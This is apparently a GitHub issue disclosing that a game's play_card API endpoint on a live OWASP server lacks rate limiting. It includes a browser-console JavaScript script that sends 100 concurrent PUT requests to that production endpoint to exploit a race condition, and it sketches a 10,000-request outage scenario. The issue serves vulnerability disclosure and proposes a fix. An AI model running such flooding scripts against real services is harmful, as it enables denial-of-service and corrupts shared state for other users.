Skip to content

🚨Security Issue: play_card API Vulnerable to DoS Attack - 29% Success Rate Confirmed #2559

@khushal-winner

Description

@khushal-winner

Describe the bug (watch the full video)
The API endpoint PUT /api/games/:game_id/players/:player_id/card (play_card action) has no rate limiting protection. Testing shows 100 simultaneous requests are all processed, with 29 succeeding and 71 returning 406 errors. This creates a resource exhaustion vulnerability where attackers can flood the database with concurrent operations and disrupt game state integrity.

Expected behavior
API should implement rate limiting to reject excessive requests with HTTP 429 status after a reasonable threshold (e.g., 10 requests per minute per IP). Only the first valid request should succeed; subsequent duplicate requests should be blocked before database operations.

Video Demo

2026-03-07.20-08-44.mp4

Desktop (please complete the following information):
OS: Any (tested on Windows)
Browser: Chrome, Firefox, Safari
Version: Latest

Additional context

  • Vulnerability confirmed via browser console attack script
  • Each request triggers database queries and game state updates
  • Race conditions allow multiple successful card plays (29% success rate)
  • WebSocket broadcasts triggered for each successful play
  • Production server vulnerable to DoS attacks
  • Fix: Add RateLimiterPlug to :api pipeline in router.ex

Worst-Case Scenario

  • Complete Service Outage
  • Attacker launches 10,000 concurrent requests
  • Database connection pool exhausted
  • Server crashes under load
  • Service requires manual restart

Script Used

// More sophisticated attack with timing
const attack = {
  gameId: "01KK4ANZFV6XMR14VX7R1X6T55",
  playerId: "01KK4APC64N6Z5B346S960XTQJ",
  cardId: "47369",
  
  async sendRequest(requestNum) {
    try {
      const response = await fetch(`https://copi.owasp.org/api/games/${this.gameId}/players/${this.playerId}/card`, {
        method: 'PUT',
        headers: { 'Content-Type': 'application/json' },
        body: JSON.stringify({ dealt_card_id: this.cardId })
      });
      
      console.log(`Request ${requestNum}: ${response.status} ${response.statusText}`);
      return response.status;
    } catch (error) {
      console.error(`Request ${requestNum} failed:`, error);
      return 'ERROR';
    }
  },
  
  async launchAttack(count = 100) {
    console.log(`🚀 Starting attack with ${count} requests...`);
    
    const promises = [];
    for (let i = 1; i <= count; i++) {
      promises.push(this.sendRequest(i));
    }
    
    const results = await Promise.all(promises);
    
    // Summary
    const success = results.filter(r => r === 200).length;
    const conflict = results.filter(r => r === 409).length;
    const notFound = results.filter(r => r === 404).length;
    
    console.log(`✅ Attack Complete!`);
    console.log(`📊 Results: ${success} success, ${conflict} conflicts, ${notFound} not found`);
  }
};

// Launch the attack
attack.launchAttack(100);

Metadata

Metadata

Assignees

No one assigned

    Labels

    No labels
    No labels

    Type

    No type

    Projects

    No projects

    Milestone

    No milestone

    Relationships

    None yet

    Development

    No branches or pull requests

    Issue actions